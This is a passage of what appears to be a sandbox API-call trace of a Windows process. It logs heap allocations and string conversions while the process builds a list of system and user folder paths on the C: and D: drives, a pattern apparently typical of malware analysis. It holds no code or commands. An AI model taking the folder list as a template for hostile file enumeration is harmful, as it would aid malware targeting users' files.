Flags=0x0, Size=0x30) returned 0x398ea70 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x834) returned 0x395c5c0 [0115.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1050 | out: lpWideCharStr="C:\\Documents and Settings\\") returned 27 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x3996118 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81e) returned 0x395c5c0 [0115.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1039 | out: lpWideCharStr="C:\\ProgramData\\") returned 16 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3996960 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x395c5c0 [0115.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1036 | out: lpWideCharStr="C:\\Recovery\\") returned 13 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3997188 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2a0) returned 0x3948e10 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x396be78 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x83a) returned 0x395c5c0 [0115.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1053 | out: lpWideCharStr="C:\\System Volume Information\\") returned 30 [0115.203] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39979b0 [0115.203] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x848) returned 0x395c5c0 [0115.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398ea70, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1060 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x850) returned 0x39981f8 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc76) returned 0x3998a50 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x844) returned 0x39981f8 [0115.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398ea70, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1058 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Local\\") returned 35 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x850) returned 0x395c5c0 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc76) returned 0x39996d0 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.204] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x816) returned 0x39981f8 [0115.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1035 | out: lpWideCharStr="C:\\Windows\\") returned 12 [0115.204] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x395c5c0 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x39981f8 [0115.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1036 | out: lpWideCharStr="C:\\PerfLogs\\") returned 13 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x399a350 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x832) returned 0x39981f8 [0115.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1049 | out: lpWideCharStr="C:\\ProgramData\\Microsoft\\") returned 26 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x399ab78 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x83a) returned 0x39981f8 [0115.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1053 | out: lpWideCharStr="C:\\ProgramData\\Package Cache\\") returned 30 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x399b3c0 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.205] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.205] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39981f8 [0115.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1040 | out: lpWideCharStr="C:\\Users\\Public\\") returned 17 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x399bc08 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39981f8 [0115.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1040 | out: lpWideCharStr="C:\\$Recycle.Bin\\") returned 17 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x399c440 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3f0) returned 0x3964848 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3948e10 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39981f8 [0115.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39981f8, cchWideChar=1040 | out: lpWideCharStr="C:\\$WINDOWS.~BT\\") returned 17 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x399cc78 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39981f8 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.206] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.206] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39541c8 [0115.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1032 | out: lpWideCharStr="C:\\dell\\") returned 9 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39981f8 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x812) returned 0x399d4b0 [0115.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1033 | out: lpWideCharStr="C:\\Intel\\") returned 10 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x399dcd0 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x399d4b0 [0115.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1036 | out: lpWideCharStr="C:\\MSOCache\\") returned 13 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x399e4f8 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x822) returned 0x399ed20 [0115.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x399ed20, cchWideChar=1041 | out: lpWideCharStr="C:\\Program Files\\") returned 18 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x399f550 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399ed20 | out: hHeap=0xd10000) returned 1 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.207] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x82e) returned 0x399fd88 [0115.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x399fd88, cchWideChar=1047 | out: lpWideCharStr="C:\\Program Files (x86)\\") returned 24 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39a05c0 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399fd88 | out: hHeap=0xd10000) returned 1 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x812) returned 0x399d4b0 [0115.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1033 | out: lpWideCharStr="C:\\Games\\") returned 10 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x399ed20 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81e) returned 0x399fd88 [0115.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399fd88, cchWideChar=1039 | out: lpWideCharStr="C:\\Windows.old\\") returned 16 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39372e8 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399fd88 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.208] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.208] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x848) returned 0x39a0df8 [0115.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398ea70, cbMultiByte=-1, lpWideCharStr=0x39a0df8, cchWideChar=1060 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x850) returned 0x39a1648 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a0df8 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc76) returned 0x39a1ea0 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a1648 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x844) returned 0x39a0df8 [0115.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398ea70, cbMultiByte=-1, lpWideCharStr=0x39a0df8, cchWideChar=1058 | out: lpWideCharStr="D:\\Users\\%username%\\AppData\\Local\\") returned 35 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x850) returned 0x39a1648 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a0df8 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc76) returned 0x39a2b20 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a1648 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x816) returned 0x399d4b0 [0115.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1035 | out: lpWideCharStr="D:\\Windows\\") returned 12 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3937b70 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x399d4b0 [0115.209] 